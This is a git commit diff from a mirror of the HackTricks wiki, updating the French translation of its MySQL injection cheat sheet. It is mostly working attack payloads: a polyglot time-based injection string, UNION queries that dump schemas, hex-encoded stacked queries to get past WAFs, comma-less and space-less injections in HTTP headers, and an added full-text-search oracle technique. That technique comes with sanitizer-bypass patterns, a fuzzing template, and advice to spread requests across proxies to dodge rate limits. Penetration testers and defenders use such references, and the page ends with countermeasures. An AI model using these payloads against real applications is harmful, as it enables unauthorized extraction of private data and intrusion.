mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/sql-injection/mysql-injection/README
This commit is contained in:
parent
a04b4b0257
commit
75ba1ddf3b
@ -1,4 +1,4 @@
|
||||
# Injection MySQL
|
||||
# MySQL injection
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -12,9 +12,9 @@
|
||||
/*! MYSQL Special SQL */
|
||||
/*!32302 10*/ Comment for MySQL version 3.23.02
|
||||
```
|
||||
## Fonctions Intéressantes
|
||||
## Fonctions intéressantes
|
||||
|
||||
### Confirmer Mysql :
|
||||
### Confirmer Mysql:
|
||||
```
|
||||
concat('a','b')
|
||||
database()
|
||||
@ -48,28 +48,28 @@ strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
|
||||
```sql
|
||||
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
|
||||
```
|
||||
from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/)
|
||||
tiré de [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/)
|
||||
|
||||
## Flux
|
||||
|
||||
Rappelez-vous que dans les versions "modernes" de **MySQL**, vous pouvez substituer "_**information_schema.tables**_" par "_**mysql.innodb_table_stats**_**"** (Cela pourrait être utile pour contourner les WAF).
|
||||
Rappelez-vous que dans les versions "modernes" de **MySQL** vous pouvez remplacer "_**mysql.innodb_table_stats**_**"** par "_**information_schema.tables**_" (Cela peut être utile pour contourner les WAFs).
|
||||
```sql
|
||||
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
|
||||
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
|
||||
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
|
||||
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
|
||||
```
|
||||
### **Seulement 1 valeur**
|
||||
### **Only 1 value**
|
||||
|
||||
- `group_concat()`
|
||||
- `Limit X,1`
|
||||
|
||||
### **Aveugle un par un**
|
||||
### **Blind one by one**
|
||||
|
||||
- `substr(version(),X,1)='r'` ou `substring(version(),X,1)=0x70` ou `ascii(substr(version(),X,1))=112`
|
||||
- `substr(version(),X,1)='r'` or `substring(version(),X,1)=0x70` or `ascii(substr(version(),X,1))=112`
|
||||
- `mid(version(),X,1)='5'`
|
||||
|
||||
### **Aveugle ajoutant**
|
||||
### **Blind adding**
|
||||
|
||||
- `LPAD(version(),1...lenght(version()),'1')='asd'...`
|
||||
- `RPAD(version(),1...lenght(version()),'1')='asd'...`
|
||||
@ -77,9 +77,9 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
|
||||
- `SELECT LEFT(version(),1...lenght(version()))='asd'...`
|
||||
- `SELECT INSTR('foobarbar', 'fo...')=1`
|
||||
|
||||
## Détecter le nombre de colonnes
|
||||
## Detect number of columns
|
||||
|
||||
Utiliser un simple ORDER
|
||||
En utilisant un simple ORDER
|
||||
```
|
||||
order by 1
|
||||
order by 2
|
||||
@ -92,7 +92,7 @@ UniOn SeLect 1,2
|
||||
UniOn SeLect 1,2,3
|
||||
...
|
||||
```
|
||||
## MySQL basé sur Union
|
||||
## MySQL Union Based
|
||||
```sql
|
||||
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
|
||||
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
|
||||
@ -101,76 +101,121 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
|
||||
```
|
||||
## SSRF
|
||||
|
||||
**Apprenez ici différentes options pour** [**abuser d'une injection Mysql pour obtenir un SSRF**](mysql-ssrf.md)**.**
|
||||
**Découvrez ici différentes options pour** [**abuse a Mysql injection to obtain a SSRF**](mysql-ssrf.md)**.**
|
||||
|
||||
## Astuces de contournement de WAF
|
||||
## Astuces pour contourner le WAF
|
||||
|
||||
### Exécution de requêtes via des instructions préparées
|
||||
### Exécution de requêtes via Prepared Statements
|
||||
|
||||
Lorsque les requêtes empilées sont autorisées, il peut être possible de contourner les WAF en assignant à une variable la représentation hexadécimale de la requête que vous souhaitez exécuter (en utilisant SET), puis d'utiliser les instructions MySQL PREPARE et EXECUTE pour finalement exécuter la requête. Quelque chose comme ceci :
|
||||
Lorsque les stacked queries sont autorisées, il peut être possible de contourner les WAFs en assignant à une variable la représentation hexadécimale de la requête que vous voulez exécuter (en utilisant SET), puis en utilisant les instructions PREPARE et EXECUTE de MySQL pour finalement exécuter la requête. Quelque chose comme ceci:
|
||||
```
|
||||
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
|
||||
```
|
||||
Pour plus d'informations, veuillez vous référer à [this blog post](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce).
|
||||
Pour plus d'informations, consultez [this blog post](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce).
|
||||
|
||||
### Alternatives à information_schema
|
||||
|
||||
N'oubliez pas que dans les versions "modernes" de **MySQL**, vous pouvez substituer _**information_schema.tables**_ par _**mysql.innodb_table_stats**_ ou par _**sys.x$schema_flattened_keys**_ ou par **sys.schema_table_statistics**.
|
||||
Souvenez-vous que dans les versions « modernes » de **MySQL**, vous pouvez remplacer _**information_schema.tables**_ par _**mysql.innodb_table_stats**_ ou par _**sys.x$schema_flattened_keys**_ ou par **sys.schema_table_statistics**
|
||||
|
||||
### MySQLinjection sans VIRGULES
|
||||
### MySQLinjection sans COMMAS
|
||||
|
||||
Sélectionnez 2 colonnes sans utiliser de virgule ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):
|
||||
Sélectionner 2 colonnes sans utiliser de virgule ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):
|
||||
```
|
||||
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
|
||||
```
|
||||
### Récupération des valeurs sans le nom de la colonne
|
||||
### Récupérer des valeurs sans le nom de la colonne
|
||||
|
||||
Si à un moment donné vous connaissez le nom de la table mais que vous ne connaissez pas le nom des colonnes à l'intérieur de la table, vous pouvez essayer de trouver combien de colonnes il y a en exécutant quelque chose comme :
|
||||
Si à un moment donné vous connaissez le nom de la table mais que vous ne connaissez pas les noms des colonnes à l'intérieur de la table, vous pouvez essayer de trouver combien de colonnes il y a en exécutant quelque chose comme :
|
||||
```bash
|
||||
# When a True is returned, you have found the number of columns
|
||||
select (select "", "") = (SELECT * from demo limit 1); # 2columns
|
||||
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
|
||||
```
|
||||
Supposons qu'il y ait 2 colonnes (la première étant l'ID) et l'autre le flag, vous pouvez essayer de brute-forcer le contenu du flag en essayant caractère par caractère :
|
||||
Supposons qu'il y ait 2 colonnes (la première étant l'ID) et que l'autre soit le flag, vous pouvez faire un bruteforce du contenu du flag en testant caractère par caractère:
|
||||
```bash
|
||||
# When True, you found the correct char and can start ruteforcing the next position
|
||||
select (select 1, 'flaf') = (SELECT * from demo limit 1);
|
||||
```
|
||||
Plus d'infos sur [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
|
||||
|
||||
### Injection sans ESPACES (`/**/` astuce de commentaire)
|
||||
### Injection sans espaces (`/**/` astuce de commentaire)
|
||||
|
||||
Certaines applications assainissent ou analysent les entrées utilisateur avec des fonctions telles que `sscanf("%128s", buf)` qui **s'arrêtent au premier caractère d'espace**.
|
||||
Parce que MySQL traite la séquence `/**/` comme un commentaire *et* comme un espace, elle peut être utilisée pour supprimer complètement les espaces normaux du payload tout en gardant la requête syntaxiquement valide.
|
||||
Certaines applications nettoient ou analysent l'entrée utilisateur avec des fonctions telles que `sscanf("%128s", buf)` qui **s'arrêtent au premier caractère d'espace**.
|
||||
Parce que MySQL traite la séquence `/**/` comme un commentaire *et* comme un espace blanc, elle peut être utilisée pour supprimer complètement les espaces normaux du payload tout en gardant la requête syntaxiquement valide.
|
||||
|
||||
Exemple d'injection aveugle basée sur le temps contournant le filtre d'espace :
|
||||
Exemple de time-based blind injection contournant le filtre d'espaces :
|
||||
```http
|
||||
GET /api/fabric/device/status HTTP/1.1
|
||||
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'
|
||||
```
|
||||
La base de données reçoit comme :
|
||||
Que la base de données reçoit comme :
|
||||
```sql
|
||||
' OR SLEEP(5)-- -'
|
||||
```
|
||||
C'est particulièrement utile lorsque :
|
||||
Ceci est particulièrement utile lorsque :
|
||||
|
||||
* Le tampon contrôlable est de taille restreinte (par exemple, `%128s`) et les espaces termineraient prématurément l'entrée.
|
||||
* Injection à travers des en-têtes HTTP ou d'autres champs où les espaces normaux sont supprimés ou utilisés comme séparateurs.
|
||||
* Combiné avec des primitives `INTO OUTFILE` pour atteindre un RCE complet avant authentification (voir la section MySQL File RCE).
|
||||
* Le buffer contrôlable est restreint en taille (par ex. `%128s`) et les espaces termineraient prématurément l'entrée.
|
||||
* Injection via les en-têtes HTTP ou d'autres champs où les espaces normaux sont supprimés ou utilisés comme séparateurs.
|
||||
* Combiné avec les primitives `INTO OUTFILE` pour atteindre une full pre-auth RCE (voir la section MySQL File RCE).
|
||||
|
||||
---
|
||||
|
||||
### Historique de MySQL
|
||||
### Historique MySQL
|
||||
|
||||
Vous pouvez voir d'autres exécutions à l'intérieur de MySQL en consultant la table : **sys.x$statement_analysis**
|
||||
Vous pouvez voir d'autres exécutions dans MySQL en lisant la table : **sys.x$statement_analysis**
|
||||
|
||||
### Versions alternatives**s**
|
||||
### Version alternative**s**
|
||||
```
|
||||
mysql> select @@innodb_version;
|
||||
mysql> select @@version;
|
||||
mysql> select version();
|
||||
```
|
||||
## Autres guides d'injection MYSQL
|
||||
## Abus des opérateurs de MySQL Full-Text Search (FTS) BOOLEAN MODE (WOR)
|
||||
|
||||
Il ne s'agit pas d'une SQL injection classique. Quand les développeurs passent une entrée utilisateur dans `MATCH(col) AGAINST('...' IN BOOLEAN MODE)`, MySQL exécute un ensemble riche d'opérateurs de recherche booléenne à l'intérieur de la chaîne entre guillemets. Beaucoup de règles WAF/SAST se concentrent uniquement sur la rupture des guillemets et manquent cette surface d'attaque.
|
||||
|
||||
Key points:
|
||||
- Les opérateurs sont évalués à l'intérieur des guillemets : `+` (doit inclure), `-` (ne doit pas inclure), `*` (wildcard suffixe), `"..."` (phrase exacte), `()` (groupement), `<`/`>`/`~` (poids). Voir la doc MySQL.
|
||||
- Cela permet des tests de présence/absence et de préfixe sans sortir du littéral de chaîne, par ex. `AGAINST('+admin*' IN BOOLEAN MODE)` pour vérifier tout terme commençant par `admin`.
|
||||
- Utile pour construire des oracles tels que « est-ce qu'une ligne contient un terme avec le préfixe X ? » et pour énumérer des chaînes cachées via l'expansion de préfixe.
|
||||
|
||||
Example query built by the backend:
|
||||
```sql
|
||||
SELECT tid, firstpost
|
||||
FROM threads
|
||||
WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE);
|
||||
```
|
||||
If the application returns different responses depending on whether the result set is empty (e.g., redirect vs. error message), that behavior becomes a Boolean oracle that can be used to enumerate private data such as titres cachés/supprimés.
|
||||
|
||||
Sanitizer bypass patterns (generic):
|
||||
- Boundary-trim preserving wildcard: si le backend supprime 1–2 caractères finaux par mot via un regex comme `(\b.{1,2})(\s)|(\b.{1,2}$)`, soumettez `prefix*ZZ`. Le cleaner supprime les `ZZ` mais laisse le `*`, donc `prefix*` survit.
|
||||
- Early-break stripping: si le code retire les opérateurs mot par mot mais arrête le traitement lorsqu'il trouve un token de longueur ≥ min length, envoyez deux tokens : le premier est un junk token qui atteint le seuil de longueur, le second porte l'operator payload. Par exemple: `&&&&& +jack*ZZ` → après nettoyage: `+&&&&& +jack*`.
|
||||
|
||||
Payload template (URL-encoded):
|
||||
```
|
||||
keywords=%26%26%26%26%26+%2B{FUZZ}*xD
|
||||
```
|
||||
- `%26` est `&`, `%2B` est `+`. Le suffixe `xD` (ou n'importe quelles deux lettres) est tronqué par le cleaner, en préservant `{FUZZ}*`.
|
||||
- Considérez un redirect comme “match” et une page d'erreur comme “no match”. Ne suivez pas automatiquement les redirects pour garder l'oracle observable.
|
||||
|
||||
Flux d'énumération:
|
||||
1) Commencez avec `{FUZZ} = a…z,0…9` pour trouver les correspondances de première lettre via `+a*`, `+b*`, …
|
||||
2) Pour chaque préfixe positif, branchez-vous : `a* → aa* / ab* / …`. Répétez pour récupérer la chaîne entière.
|
||||
3) Distribuez les requêtes (proxies, comptes multiples) si l'app impose du flood control.
|
||||
|
||||
Pourquoi les titres leak souvent alors que les contenus ne le font pas:
|
||||
- Certaines apps n'appliquent les vérifications de visibility qu'après un MATCH préliminaire sur les titres/sujets. Si le control-flow dépend du résultat «any results?» avant filtrage, des existence leaks se produisent.
|
||||
|
||||
Contre-mesures:
|
||||
- Si vous n'avez pas besoin du Boolean logic, utilisez `IN NATURAL LANGUAGE MODE` ou traitez l'entrée utilisateur comme un littéral (escape/quote désactive les opérateurs dans les autres modes).
|
||||
- Si Boolean mode est requis, supprimez ou neutralisez tous les Boolean operators (`+ - * " ( ) < > ~`) pour chaque token (pas d'early breaks) après tokenization.
|
||||
- Appliquez les filtres visibility/authorization avant MATCH, ou unifiez les réponses (timing/status constants) lorsque le result set est empty vs. non-empty.
|
||||
- Vérifiez les fonctionnalités analogues dans d'autres DBMS : PostgreSQL `to_tsquery`/`websearch_to_tsquery`, SQL Server/Oracle/Db2 `CONTAINS` analysent aussi les opérateurs à l'intérieur d'arguments entre guillemets.
|
||||
|
||||
Remarques:
|
||||
- Les prepared statements ne protègent pas contre l'abus sémantique de `REGEXP` ou des search operators. Une entrée comme `.*` reste une regex permissive même à l'intérieur d'un `REGEXP '.*'` entre guillemets. Utilisez des allow-lists ou des gardes explicites.
|
||||
|
||||
## Other MYSQL injection guides
|
||||
|
||||
- [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
|
||||
|
||||
@ -178,6 +223,10 @@ mysql> select version();
|
||||
|
||||
- [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
|
||||
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||
- [MySQL Full-Text Search – Boolean mode](https://dev.mysql.com/doc/refman/8.4/en/fulltext-boolean.html)
|
||||
- [MySQL Full-Text Search – Overview](https://dev.mysql.com/doc/refman/8.4/en/fulltext-search.html)
|
||||
- [MySQL REGEXP documentation](https://dev.mysql.com/doc/refman/8.4/en/regexp.html)
|
||||
- [ReDisclosure: New technique for exploiting Full-Text Search in MySQL (myBB case study)](https://exploit.az/posts/wor/)
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user